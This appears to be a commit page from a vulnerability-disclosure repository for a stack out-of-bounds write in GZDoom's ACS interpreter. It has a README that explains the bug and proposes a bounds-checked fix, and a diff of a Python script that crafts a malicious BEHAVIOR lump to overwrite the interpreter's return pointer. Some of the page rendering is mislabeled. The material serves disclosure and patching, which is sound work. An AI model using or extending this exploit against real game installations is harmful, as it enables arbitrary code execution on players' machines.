diff options
| author | Jakob L. Kreuze <jakob@memeware.net> | 2018-01-04 15:51:01 -0500 |
|---|---|---|
| committer | Jakob L. Kreuze <jakob@memeware.net> | 2018-01-04 15:51:01 -0500 |
| commit | b4150040a46d4e7bbbe919cdf9be60e0109191bc (patch) | |
| tree | 6fea6925bf05bdc311be98d75ceb3182ebaf78c9 | |
| parent | 4211a84821e84cfe7848e32476510e2c768e3577 (diff) | |
Final edits in preparation for disclosure.
| -rw-r--r-- | README.md | 67 | ||||
| -rw-r--r-- | example.wad | bin | 9286 -> 25769 bytes | |||
| -rw-r--r-- | exploit.py | 39 | ||||
| -rw-r--r-- | logo.png | bin | 96456 -> 4368 bytes |
4 files changed, 84 insertions, 22 deletions
@@ -1,10 +1,69 @@ ![Bad BEHAVIOR][img_1] -## Proof of concept exploit and research by [Jakob.][1] -Exploit of GZDoom's ACS interpreter, performing an out-of-bounds write with -maliciously-crafted ACS bytecode. +A vulnerability was recently discovered that affects several implementations of +ACS, a domain-specific scripting language for Doom maps. As a stack machine, ACS +has several opcodes for incrementing and decrementing a stack pointer. If these +increments and decrements are performed without bounds checking, it is possible +for a maliciously-crafted BEHAVIOR lump to produce an out-of-bounds write. Here +is the implementation of the PUSHBYTE opcode, taken from GZDoom's ACS +interpreter: +```c +case PCD_PUSHBYTE: + PushToStack (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +``` -[1]: http://jakob.space/ +Where PushToStack is a macro defined as: + +```c +#define PushToStack(a) (Stack[sp++] = (a)) +``` + +The stack pointer is incremented, but it does not check to see if the new value +is greater than the stack's maximum size. Because the buffer used by the +interpreter is placed on the process's stack, it is possible to overwrite the +interpreter routine's return pointer, resulting in arbitrary code execution. + +**Maintainers of Doom source ports,** + +It is critical that you inspect your port's implementation of the ACS +interpreter, and patch it if vulnerable to the exploit presented here. Every +opcode that modifies the stack pointer should perform a bounds check, ensuring +that it does not fall below 0, and does not rise greater than the maximum index +of the stack buffer. A rather crude example of a solution for PUSHBYTE is shown +below, however, brevity could be retained by making use of operator overloading, +or using a class with methods for pushing and popping that do perform bounds +checking. + +```c +case PCD_PUSHBYTE: + if (++sp >= STACK_SIZE) { + I_Error("Corrupted stack pointer in ACS VM"); + } + Stack[sp] = (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +``` + +Provided for vulnerability assessment is the file `example.wad`, which contains +a BEHAVIOR lump that will overwrite the interpreter routine's return pointer in +the latest GZDoom development builds. The stack offset should be different +across different source ports, but implementations where the vulnerability has +been dealt with should throw an error upon loading MAP01 regardless. + +Additionally provided is a Python script which will craft a malicious BEHAVIOR +lump to write 0xdeadbeefcafebabe at a given offset from the beginning of the +interpreter's stack buffer. This is intentionally very obtuse to work with, +however if you are a source port maintainer and would like to be able to further +experiment with the vulnerability, it is provided in its full form. A majority +of the code is present to form a valid BEHAVIOR lump; the real exploit is only +in the creation of the `payload` list. + +A more detailed and prose-like writeup, with details on the research process is +[available here][1]. + +[1]: http://jakob.space/blog/post/Bad+BEHAVIOR [img_1]: https://raw.githubusercontent.com/TsarFox/bad-behavior/master/logo.png diff --git a/example.wad b/example.wad Binary files differindex bc4d145..7adbf32 100644 --- a/example.wad +++ b/example.wad @@ -1,5 +1,19 @@ #!/usr/bin/env python +# Copyright (c) 2017 Jakob L. Kreuze +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see <http://www.gnu.org/licenses/>. + import os import struct import sys @@ -9,9 +23,6 @@ import sys # SIZE (Excluding CHUNK and SIZE) [4 bytes] # CONTENTS [SIZE bytes] -# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte -# opcode size range and doesn't place anything onto the stack. - STACK_SIZE = 0x1000 CODE_HEADER = [0x41, 0x43, 0x53, 0x00] @@ -21,17 +32,10 @@ FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65] PCD_NOP = 0 PCD_TERMINATE = 1 PCD_PUSHNUMBER = 3 -PCD_ASSIGNSCRIPTVAR = 25 PCD_PUSHBYTE = 167 -PCD_PUSHBYTES = 175 -PCD_PUSH5BYTES = 179 - -# assert(sp == 0) is only compiled in DEBUG builds. -# You should probably throw some debug prints into the source code, -# finding the address of `Stack`, and the address of the return -# address on the stack. For me, `Stack` is at an offset of 4122 before -# the return address. +# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the +# stack is not necessary. # Scripts must be aligned to 32 bits. def align_script(code: list) -> list: @@ -40,23 +44,22 @@ def align_script(code: list) -> list: if __name__ == "__main__": - if len(sys.argv) != 3: - sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0])) + if len(sys.argv) != 2: + sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0])) sys.exit(1) desired_offset = int(sys.argv[1]) - return_address = int(sys.argv[2]) dest = "BEHAVIOR.lmp" # Smash stackobj.sp - payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2) + payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2) # Overwrite stackobj.sp payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset)) # Smash the return pointer - least_sig = list(struct.pack("Q", return_address))[:4] - most_sig = list(struct.pack("Q", return_address))[4:] + least_sig = list(struct.pack("Q", 0xcafebabe))[:4] + most_sig = list(struct.pack("Q", 0xdeadbeef))[4:] payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig payload.append(PCD_TERMINATE) Binary files differ |